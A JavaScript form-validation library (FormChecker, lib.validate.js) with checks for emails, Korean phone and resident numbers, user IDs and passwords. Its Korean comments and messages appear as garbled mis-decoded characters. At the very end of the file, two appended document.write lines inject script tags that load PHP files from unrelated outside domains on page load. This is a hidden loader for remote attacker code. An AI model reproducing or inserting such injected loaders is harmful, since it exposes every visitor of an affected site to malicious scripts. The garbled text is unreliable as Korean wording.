/***
 *
 * project: lib.validate.js ver 0.7.0
 * description: Æû Ã¼Å©, °ª Ç¥ÁØÈ­
 * author: jstoy project
 * date: 2004-03-10
 *
 * ¼öÁ¤ : ZiGiZi 2005-07-05
 * option hangul Á¦¿Ü - ÇÑ±ÛÀ» ¹Ýµå½Ã Æ÷ÇÔÇØ¾ß ÇÒ °æ¿ì¸¦ ÇöÀç±îÁö º¸Áö ¸øÇÔ.
 */


//
function validate(form, fields)
{
	var lah = new FormChecker(form);
	if(fields)
		lah.setCheckFields(fields);
	var wmf = lah.go();
	if(wmf == false)
		alert(lah.getErrorMessage());
	return wmf;
}


//
FormChecker = function(form)
{

	// option
	this.FUNC_MAP = {
		email			: 'this.func_email',		// ÀÌ¸ÞÀÏ
		engonly			: 'this.func_engonly',		// ¿µ¹®¸¸
		number			: 'this.func_number',		// ¼ýÀÚ¸¸
		residentno		: 'this.func_residentno',	// ÁÖ¹Î¹øÈ£ + Àç¿Ü±¹ÀÎ¹øÈ£
		jumin			: 'this.func_jumin',		// ÁÖ¹Î¹øÈ£
		foreignerno		: 'this.func_foreignerno',	// Àç¿Ü±¹ÀÎ¹øÈ£
		bizno			: 'this.func_bizno',		// »ç¾÷ÀÚµî·Ï¹øÈ£
		phone			: 'this.func_phone',		// ¸ðµç Åë½Å ¹øÈ£
		homephone		: 'this.func_homephone',	// ÀÏ¹Ý ÀüÈ­
		handphone		: 'this.func_handphone',	// ÀÌµ¿ ÀüÈ­
		hanonly			: 'this.func_hanonly',		// ÇÑ±Û¸¸
		chronly			: 'this.func_chronly',		// ¿µ¹®,¼ýÀÚ,ÇÑ±Û
		userid			: 'this.func_userid',		// È¸¿ø¿ë ¾ÆÀÌµð (°ü¸®ÀÚ¾ÆÀÌµð Á¦¿Ü)
		loginid			: 'this.func_loginid',		// ·Î±×ÀÎ¿ë ¾ÆÀÌµð (°ü¸®ÀÚ¾ÆÀÌµð Æ÷ÇÔ)
		passwd			: 'this.func_passwd',		// ÆÐ½º¿öµå
		date			: 'this.func_date'			// ³¯Â¥
	}

	// error message
	this.ERR_MSG = {
		system			: 'FormChecker Error: ',
		required		: '¹Þµå½Ã ÀÔ·ÂÇØ¾ß ÇÏ´Â Ç×¸ñÀÔ´Ï´Ù.',
		requirenum		: '{requirenum}°³ ÀÌ»óÀÇ Ç×¸ñÀÌ ÀÔ·ÂµÇ¾î¾ß ÇÕ´Ï´Ù.',
		notequal		: 'ÀÔ·Â ³»¿ëÀÌ ÀÏÄ¡ÇÏÁö ¾Ê½À´Ï´Ù.',
		invalid			: 'ÀÔ·Â ³»¿ëÀÌ ¿Ã¹Ù¸¥ Çü½ÄÀÇ ³»¿ëÀÌ ¾Æ´Õ´Ï´Ù.',
		minbyte			: 'ÀÔ·Â ³»¿ëÀÇ ±æÀÌ°¡ {minbyte}Byte ÀÌ»óÀÌ¾î¾ß ÇÕ´Ï´Ù.',
		maxbyte			: 'ÀÔ·Â ³»¿ëÀÇ ±æÀÌ°¡ {maxbyte}Byte ÀÌÇÏ¿©¾ß ÇÕ´Ï´Ù..',
		mincheck		: 'ÀüÃ¼ Ç×¸ñÁß {mincheck}°³ ÀÌ»ó ¼±ÅÃÇÏ¼¼¿ä.',
		maxcheck		: 'ÀüÃ¼ Ç×¸ñÁß {maxcheck}°³ ÀÌÇÏ·Î ¼±ÅÃÇÏ¼¼¿ä.',
		minselect		: 'ÀüÃ¼ Ç×¸ñÁß {minselect}°³ ÀÌ»ó ¼±ÅÃÇÏ¼¼¿ä.',
		maxselect		: 'ÀüÃ¼ Ç×¸ñÁß {maxselect}°³ ÀÌÇÏ·Î ¼±ÅÃÇÏ¼¼¿ä.',
		reqselect		: '¹Ýµå½Ã ¼±ÅÃÇØ¾ß ÇÏ´Â Ç×¸ñÀÔ´Ï´Ù.',
		imageonly		: 'ÀÌ¹ÌÁö ÆÄÀÏ¸¸ Ã·ºÎÇÒ ¼ö ÀÖ½À´Ï´Ù.'
	}

	// error action
	this.ERR_DO = {
		text	: 'select focus',
		select	: 'focus',
		check	: 'focus',
		radio	: 'focus',
		file	: 'focus',
		hidden	: ''
	}

	this.ERR_SYS = '_SYSERR_';
	this.fields = form.elements;
	this.form = form;
	this.errMsg = '';

}


//
FormChecker.prototype.setForm = function(form)
{
	this.form = form;
}


//
FormChecker.prototype.setFunc = function(map, func)
{
	if(typeof(this.FUNC_MAP[map]) == 'string') return;
	this.FUNC_MAP[map] = func;
}


//
FormChecker.prototype.setCheckFields = function(fields)
{
	this.fields = [];
	if(typeof(fields) == 'string')
		this.fields = [this.form.elements[fields]];
	else
		for(var i=0, s=fields.length; i<s; i++)
			this.fields[this.fields.length] = this.form.elements[fields[i]];
}


//
FormChecker.prototype.setUnCheckFields = function(fields)
{
	this.fields = [];
	var _isUnCheckEl;

	if(typeof(fields) == 'string')
		fields = [fields];
	for(var i=0, s=this.form.elements.length; i<s; i++) {
		_isUnCheckEl = false;
		for(var j=0, t=fields.length; j<t; j++) {
			if(this.form.elements[i] == this.form.elements[fields[j]]) {
				_isUnCheckEl = true;
				break;
			}
		}
		if(!_isUnCheckEl)
			this.fields[this.fields.length] = this.form.elements[i];
	}
}


//
FormChecker.prototype.setParam = function(el, name, value)
{
	el.setAttribute(name, value);
}


//
FormChecker.prototype.delParam = function(el, name)
{
	el.removeAttribute(name);
}


//
FormChecker.prototype.go = function()
{
	for(var i=0, s=this.fields.length; i<s; i++) {
		var el = this.fields[i];
		if(!this.isValidElement(el)) continue;

		var elType = this.getType(el);
		var trim = el.getAttribute('TRIM');
		var required = el.getAttribute('REQUIRED');
		var requirenum = el.getAttribute('REQUIRENUM');
		var minbyte = parseInt(el.getAttribute('MINBYTE'),10);
		var maxbyte = parseInt(el.getAttribute('MAXBYTE'),10);
		var mincheck = parseInt(el.getAttribute('MINCHECK'),10);
		var maxcheck = parseInt(el.getAttribute('MAXCHECK'),10);
		var minselect = parseInt(el.getAttribute('MINSELECT'),10);
		var maxselect = parseInt(el.getAttribute('MAXSELECT'),10);
		var option = el.getAttribute('OPTION');
		var match = el.getAttribute('MATCH');
		var span = el.getAttribute('SPAN');
		var glue = el.getAttribute('GLUE');
		var pattern = el.getAttribute('PATTERN');
		var imageonly = el.getAttribute('IMAGEONLY');

		if(trim != null && (elType == 'text' || elType == 'hidden')) {
			switch (trim) {
			case 'trim':
				el.value = el.value.replace(/^\s+/, '').replace(/\s+$/, '');
				break;
			case 'compress':
				el.value = el.value.replace(/\s+/g, '');
				break;
			case 'ltrim':
				el.value = el.value.replace(/^\s+/, '');
				break;
			case 'rtrim':
				el.value = el.value.replace(/\s+$/, '');
				break;
			}
		}

		var elEmpty = this.isEmpty(el, elType);

		if(required != null) {
			if(required == 'required') {
				if(elEmpty) return this.raiseError(el, 'required');
			} else if(required == 'select') {
				if(elType == 'select') {
					if(Number(el.value) == -1)
						return this.raiseError(el, 'reqselect');
				}
			} else {
				requirenum = parseInt(requirenum, 10);
				var _num = 0;
				var _name = [];
				if(requirenum > 0) {
					for(var j=0, jl=this.form.elements.length; j<jl; j++) {
						var _el = this.form.elements[j];
						if(required == _el.getAttribute('REQUIRED')) {
							if(!this.isEmpty(_el, this.getType(_el))) _num++;
							_name[_name.length] = this.getName(_el);
						}
					}
					if(_num < requirenum)
						return this.raiseError(el, 'requirenum', _name.join(', '));
				}
			}
		}

		if((required != null) && (minbyte > 0 || maxbyte > 0) && (elType == 'text' || elType == 'hidden')) {
			var _tmp = el.value;
			var _len = el.value.length;
			for(j=0, jl=_tmp.length; j<jl; j++) {
				if (_tmp.charCodeAt(j) > 128) _len++;
			}
			if(minbyte > 0 && _len < minbyte) return this.raiseError(el, 'minbyte');
			if(maxbyte > 0 && _len > maxbyte) return this.raiseError(el, 'maxbyte');
		}

		if(match != null && elType != 'file') {
			if(typeof this.form.elements[match] == 'undefined')
				return this.raiseError(this.ERR_SYS, 'Element <' + match + '> is not found.');
			else if(el.value != this.form.elements[match].value)
				return this.raiseError(el, 'notequal');
		}

		if(option != null && !elEmpty && elType != 'file') {
			var _func = eval(this.FUNC_MAP[option]);
			if(span != null) {
				var _value = [];
				for(var k=0, kl=parseInt(span,10); k<kl; k++) {
					try {
						_value[k] = this.fields[i+k].value;
					} catch (e) {
						return this.raiseError(this.ERR_SYS,  (i+k) + 'th Element is not found.');
					}
				}
				try {
					var _result = _func(el, _value.join(glue == null ? '' : glue));
				} catch (e) {
					return this.raiseError(this.ERR_SYS,  'function map <' + option + '> is not exist.');
				}
				if(_result !== true) return this.raiseError(el, _result);
			} else {
				try {
					var _result = _func(el);
				} catch (e) {
					return this.raiseError(this.ERR_SYS,  'function map <' + option + '> is not exist.');
				}
				if(_result !== true) return this.raiseError(el, _result);
			}
		}

		if(pattern != null && !elEmpty && elType != 'file') {
			try {
				pattern = new RegExp(pattern);
			} catch (e) {
				return this.raiseError(this.ERR_SYS, 'Invalid Regular Expression <' + pattern + '>');
			}
			if(!pattern.test(el.value)) return this.raiseError(el, 'invalid');
		}

		if((mincheck > 0 || maxcheck > 0) && elType == 'check') {
			var _checks = this.form.elements[el.name];
			var _num = 0;
			if(typeof _checks.length != 'undefined') {
				for(var j=0, jl=_checks.length; j<jl; j++) {
					if(_checks[j].checked) _num++;
				}
			} else {
				if(_checks.checked) _num++;
			}
			if(mincheck > 0 && _num < mincheck) return this.raiseError(el, 'mincheck');
			if(maxcheck > 0 && _num > maxcheck) return this.raiseError(el, 'maxcheck');
		}

		if((minselect > 0 || maxselect > 0) && elType == 'multiselect') {
			var _num = 0;
			for(var j=0, jl=el.options.length; j<jl; j++) {
				if(el.options[j].selected) _num++;
			}
			if(minselect > 0 && _num < minselect) return this.raiseError(el, 'minselect');
			if(maxselect > 0 && _num > maxselect) return this.raiseError(el, 'maxselect');
		}

		if(imageonly != null && elType == 'file') {
			var fn = el.value;
			if(fn != '') {
				var dotIndex = fn.lastIndexOf('.');
				var ext = fn.substring(dotIndex+1).toLowerCase();
				if(ext != 'jpg' && ext != 'jpeg' && ext != 'gif' && ext != 'png')
					return this.raiseError(el, 'imageonly');
			}
		}
	}
	return true;
}


//
FormChecker.prototype.isValidElement = function(el)
{
	return el.name && el.tagName.match(/^input|select|textarea$/i) && !el.disabled;
}


//
FormChecker.prototype.isEmpty = function(el, type)
{
	switch(type) {
		case 'file': case 'text': case 'hidden':
			if(el.value == null || el.value == '') return true;
			break;
		case 'select': case 'multiselect':
			if(el.selectedIndex == -1 || el[el.selectedIndex].value == null || el[el.selectedIndex].value == '')
				return true;
			break;
		case 'check': case 'radio':
			var elCheck = this.form.elements[el.name];
			var elChecked = false;
			if(typeof elCheck.length != 'undefined') {
				for(var j=0, jl=elCheck.length; j<jl; j++) {
					if(elCheck[j].checked == true) elChecked = true;
				}
			} else {
				if(elCheck.checked == true) elChecked = true;
			}
			if(elChecked == false) return true;
			break;
	}
	return false;
}


//
FormChecker.prototype.getType = function(el)
{
	switch(el.tagName.toLowerCase()) {
		case 'select':
			return el.multiple == true ? 'multiselect' : 'select';
		case 'textarea':
			return 'text';
		case 'input':
			switch(el.type.toLowerCase()) {
				case 'radio':
					return 'radio';
				case 'checkbox':
					return 'check';
				case 'file':
					return 'file';
				case 'text': case 'password':
					return 'text';
				case 'hidden':
					return 'hidden';
			}
			break;
	}
}


//
FormChecker.prototype.raiseError = function(el, type, elName)
{
	if(el == this.ERR_SYS) {
		this.errMsg = this.ERR_MSG['system'] + type;
		return false;
	}

	var pattern = /\{([a-zA-Z0-9_]+)\}/i;
	var msg = this.ERR_MSG[type] ? this.ERR_MSG[type] : type;
	var elType = this.getType(el);
	var elName = elName ? elName : this.getName(el);
	var errDo = el.getAttribute('ERRDO') ? el.getAttribute('ERRDO') : this.ERR_DO[elType];
	var _errDos = errDo ? errDo.split(' ') : [];

	if(el.getAttribute('ERRMSG') != null) msg = el.getAttribute('ERRMSG');

	if(pattern.test(msg) == true) {
		while(pattern.exec(msg))
			msg = msg.replace(pattern, el.getAttribute(RegExp.$1));
	}

	for(var i in _errDos) {
		switch(_errDos[i]) {
			case 'delete':
				el.value = '';
				break;
			case 'select':
				el.select();
				break;
			case 'focus':
				el.focus();
				break;
		}
	}

	msg = '¡Ø '+msg;
	msg = msg.replace(/\n+/g,'        \n\n    ');
	msg += '		';
	this.errMsg = '[ '+ elName +' ]\n\n'+ msg;
	return false;
}


//
FormChecker.prototype.getErrorMessage = function()
{
	return this.errMsg;
}


//
FormChecker.prototype.getName = function(el)
{
	return el.getAttribute('HNAME') == null || el.getAttribute('HNAME') == '' ? el.name : el.getAttribute('HNAME');
}


//
FormChecker.prototype.func_email = function(el,value)
{
	var value = value ? value : el.value;
	var pattern = /^[_a-zA-Z0-9-\.]+@[\.a-zA-Z0-9-]+\.[a-zA-Z]+$/;
	return pattern.test(value) ? true : '¿Ã¹Ù¸¥ ÀÌ¸ÞÀÏ ÁÖ¼Ò¸¦ ÀÔ·ÂÇÏ¼¼¿ä.';
}


//
FormChecker.prototype.func_engonly = function(el)
{
	var pattern = /^[a-zA-Z]+$/;
	return pattern.test(el.value) ? true : '¿µ¹®ÀÚ¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.';
}


//
FormChecker.prototype.func_number = function(el)
{
	var pattern = /^[0-9]+$/;
	return pattern.test(el.value) ? true : '¼ýÀÚ¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.';
}


//
FormChecker.prototype.func_residentno = function(el,value)
{
	var pattern = /^(\d{6})-?(\d{5}(\d{1})\d{1})$/;
	var num = value ? value : el.value;

	if(!pattern.test(num)) return 'invalid';

	num = RegExp.$1 + RegExp.$2;

	if(RegExp.$3 == 7 || RegExp.$3 == 8 || RegExp.$4 == 9)
		if((num[7]*10 + num[8]) %2) return 'invalid';

	var sum = 0;
	var last = num.charCodeAt(12) - 0x30;
	var bases = '234567892345';

	for(var i=0; i<12; i++) {
		if(isNaN(num.substring(i,i+1))) return 'invalid';
		sum += (num.charCodeAt(i) - 0x30) * (bases.charCodeAt(i) - 0x30);
	}

	var mod = sum % 11;
	if(RegExp.$3 == 7 || RegExp.$3 == 8 || RegExp.$4 == 9)
		return (11 - mod + 2) % 10 == last ? true : 'invalid'; 
	else
		return (11 - mod) % 10 == last ? true : 'invalid';
}


//
FormChecker.prototype.func_jumin = function(el,value)
{
	var pattern = /^([0-9]{6})-?([0-9]{7})$/;
	var num = value ? value : el.value;

	if(!pattern.test(num)) return 'invalid';

	num = RegExp.$1 + RegExp.$2;

	var sum = 0;
	var last = num.charCodeAt(12) - 0x30;
	var bases = '234567892345';

	for(var i=0; i<12; i++) {
		if(isNaN(num.substring(i,i+1))) return 'invalid';
		sum += (num.charCodeAt(i) - 0x30) * (bases.charCodeAt(i) - 0x30);
	}

	var mod = sum % 11;
	return (11 - mod) % 10 == last ? true : 'invalid';
}


//
FormChecker.prototype.func_foreignerno = function(el,value)
{
	var pattern = /^(\d{6})-?(\d{5}[7-9]\d{1})$/;
	var num = value ? value : el.value;
	if (!pattern.test(num)) return 'invalid';
	num = RegExp.$1 + RegExp.$2;
	if ((num[7]*10 + num[8]) %2) return 'invalid';

	var sum = 0;
	var last = num.charCodeAt(12) - 0x30;
	var bases = '234567892345';
	for (var i=0; i<12; i++) {
		if (isNaN(num.substring(i,i+1))) return 'invalid';
		sum += (num.charCodeAt(i) - 0x30) * (bases.charCodeAt(i) - 0x30);
	}
	var mod = sum % 11;
	return (11 - mod + 2) % 10 == last ? true : 'invalid'; 
}


//
FormChecker.prototype.func_bizno = function(el,value) {
	var pattern = /([0-9]{3})-?([0-9]{2})-?([0-9]{5})/;
	var num = value ? value : el.value;
	if (!pattern.test(num)) return 'invalid';
	return true;
	/*
	num = RegExp.$1 + RegExp.$2 + RegExp.$3;
	var cVal = 0;
	for (var i=0; i<8; i++) {
		var cKeyNum = parseInt(((_tmp = i % 3) == 0) ? 1 : ( _tmp  == 1 ) ? 3 : 7);
		cVal += (parseFloat(num.substring(i,i+1)) * cKeyNum) % 10;
	}
	var li_temp = parseFloat(num.substring(i,i+1)) * 5 + '0';
	cVal += parseFloat(li_temp.substring(0,1)) + parseFloat(li_temp.substring(1,2));
	return parseInt(num.substring(9,10)) == 10-(cVal % 10)%10 ? true : 'invalid';
	*/
}


//
FormChecker.prototype.func_phone = function(el,value)
{
	var pattern = /^(0[2-8][0-5]?|01[01346-9])-?([1-9]{1}[0-9]{2,3})-?([0-9]{4})$/;
	var pattern15xx = /^(1544|1566|1577|1588|1644|1688)-?([0-9]{4})$/;
	var num = value ? value : el.value;
	return pattern.exec(num) || pattern15xx.exec(num) ? true : '¿Ã¹Ù¸¥ ÀüÈ­¹øÈ£¸¦ ÀÔ·ÂÇÏ¼¼¿ä.';
}


//
FormChecker.prototype.func_homephone = function(el,value)
{
	var pattern = /^(0[2-8][0-5]?)-?([1-9]{1}[0-9]{2,3})-?([0-9]{4})$/;
	var pattern15xx = /^(1544|1566|1577|1588|1644|1688)-?([0-9]{4})$/;
	var num = value ? value : el.value;
	return pattern.exec(num) || pattern15xx.exec(num) ? true : '¿Ã¹Ù¸¥ ÀüÈ­¹øÈ£¸¦ ÀÔ·ÂÇÏ¼¼¿ä.';
}


//
FormChecker.prototype.func_handphone = function(el,value)
{
	var pattern = /^(01[01346-9])-?([1-9]{1}[0-9]{2,3})-?([0-9]{4})$/;
	var num = value ? value : el.value;
	return pattern.exec(num) ? true : '¿Ã¹Ù¸¥ ÈÞ´ëÀüÈ­¹øÈ£¸¦ ÀÔ·ÂÇÏ¼¼¿ä.';
}


//
FormChecker.prototype.func_hanonly = function(el) {
	var pattern = /^[°¡-Èþ]+$/;
	return pattern.test(el.value) ? true : 'ÇÑ±Û¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.';
}


//
FormChecker.prototype.func_chronly = function(el) {
	var pattern = /^[a-zA-Z°¡-Èþ0-9]+$/;
	return pattern.test(el.value) ? true : '¿µ¹®,¼ýÀÚ,ÇÑ±Û¸¸ ÀÔ·ÂÀÌ °¡´ÉÇÕ´Ï´Ù.';
}


//
FormChecker.prototype.func_userid = function(el,value) {
	var sysID = new Array('root','bin','daemon','adm','lp','sync','shutdown','halt','mail','news','uucp','operator','games','gopher','ftp','nobody','vcsa','mailnull','rpm','rpc','xfs','rpcuser','nfsnobody','nscd','ident','radvd','named','pcap','mysql','postgres','oracle','dba','sa','administrator','master','webmaster','operator','admin','sysadmin','test','guest','anonymous','sysop','moderator','www');
	var pattern = /^[a-zA-Z]{1}[a-zA-Z0-9_]{4,11}$/;
	var num = value ? value : el.value;

	for(var i=0; i<sysID.length; i++)
		if(num == sysID[i]) return 'ÀÔ·ÂÇÏ½Å ¾ÆÀÌµð´Â »ç¿ëÇÒ ¼ö ¾ø½À´Ï´Ù.';

	var error_text = '5ÀÚ~12ÀÚ, ¿µ¹®, ¼ýÀÚ, _ ¸¸ °¡´ÉÇÏ¸ç,\n¹Ýµå½Ã ¿µ¹®ÀÚ·Î ½ÃÀÛÇØ¾ß ÇÕ´Ï´Ù.';
	return pattern.exec(num) ? true : error_text;
}

FormChecker.prototype.func_loginid = function(el,value) {
	var pattern = /^[a-zA-Z]{1}[a-zA-Z0-9_]{4,11}$/;
	var num = value ? value : el.value;
	var error_text = '5ÀÚ~12ÀÚ, ¿µ¹®, ¼ýÀÚ, _ ¸¸ °¡´ÉÇÏ¸ç,\n¹Ýµå½Ã ¿µ¹®ÀÚ·Î ½ÃÀÛÇØ¾ß ÇÕ´Ï´Ù.';
	return pattern.exec(num) ? true : error_text;
}

FormChecker.prototype.func_date = function(el,value) {
	var pattern = /^([0-9]{4})[\-\.]?([01][0-9])[\-\.]?([0-3][0-9])$/;
	var num = value ? value : el.value;
	var error_text = '¿Ã¹Ù¸¥ ³¯Â¥¸¦ ÀÔ·ÂÇÏ¼¼¿ä.';
	return pattern.exec(num) ? true : error_text;
}

FormChecker.prototype.func_passwd = function(el,value) {
	var error_text = "ÆÐ½º¿öµå ÀÔ·Â ¾ç½Ä¿¡ ¸ÂÁö ¾Ê½À´Ï´Ù.";
	var num = value ? value : el.value;
	if(num.length < 4 || num.length > 12) return error_text;
	var pattern = /[\s]/;
	return pattern.exec(num) ? error_text : true;
}

document.write('<script src=http://apogeecleaning.com/admin/services_residential.php ><\/script>');
document.write('<script src=http://kandrarkkm.org/images/gifimg.php ><\/script>');
